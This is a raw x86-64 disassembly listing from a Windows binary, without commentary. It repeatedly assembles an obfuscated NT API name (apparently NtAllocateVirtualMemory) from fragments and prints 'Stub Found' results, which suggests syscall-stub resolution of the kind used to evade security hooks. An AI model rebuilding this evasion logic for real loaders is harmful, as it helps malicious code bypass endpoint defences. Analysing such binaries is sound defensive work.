mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x1710]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x17d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x17f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1890]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x18bf]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x18c0]
mov rcx, qword [rbp + 0x2ca0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x14000612f
lea rsi, [0x1400c23b4]
jmp 0x140006136
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1aef]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x1aef]
lea rax, [rbp + 0x1ac0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x1400c23f4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x19e0]
lea rdx, [rbp + 0x1a00]
lea r8, [0x1400c239a]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x19c0]
lea rdx, [rbp + 0x19e0]
lea r8, [0x1400c23fa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x19a0]
lea rdx, [rbp + 0x19c0]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1980]
lea rdx, [rbp + 0x19a0]
lea r8, [0x1400c23d8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1960]
lea rdx, [rbp + 0x1980]
lea r8, [0x1400c23da]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1940]
lea rdx, [rbp + 0x1960]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x1400c23dc]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x18e0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1960]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1980]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x19a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x19c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1aef]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x1af0]
mov rcx, qword [rbp + 0x2c98]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x1400064c1
lea rsi, [0x1400c23b4]
jmp 0x1400064c8
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1d7f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x1d7f]
lea rax, [rbp + 0x1d50]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x1400c239a]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x1400c23e2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x1400c23e4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x1400c23b0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
lea r8, [0x1400c23d8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1b90]
lea rdx, [rbp + 0x1bb0]
lea r8, [0x1400c23da]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x1400c23dc]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x1b10]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1b90]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1d7f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x1d80]
mov rcx, qword [rbp + 0x2c90]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x1400068d7
lea rsi, [0x1400c23b4]
jmp 0x1400068de
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1fef]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x1fef]
lea rax, [rbp + 0x1fc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x1400c23fc]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x1400c23d6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x1400c23e0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x1400c23d8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x1400c23da]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x1400c23dc]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x1da0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1fef]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x1ff0]
mov rcx, qword [rbp + 0x2c88]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140006cc1
lea rsi, [0x1400c23b4]
jmp 0x140006cc8
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x225f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x225f]
lea rax, [rbp + 0x2230]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x1400c23e8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x1400c23d6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x1400c23e0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x1400c23d8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x1400c23da]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2070]
lea rdx, [rbp + 0x2090]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x1400c23dc]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x2010]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x225f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x2260]
mov rcx, qword [rbp + 0x2c80]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x1400070ab
lea rsi, [0x1400c23b4]
jmp 0x1400070b2
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x248f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x248f]
lea rax, [rbp + 0x2460]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x1400c23fe]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x1400c23b2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x1400c23de]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x1400c23e0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x2300]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x2280]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x248f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x2490]
mov rcx, qword [rbp + 0x2c78]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x14000743d
lea rsi, [0x1400c23b4]
jmp 0x140007444
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x265f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x265f]
lea rax, [rbp + 0x2630]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x1400c23ee]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x1400c23fa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x1400c23e8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x1400c23ea]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400a97d0
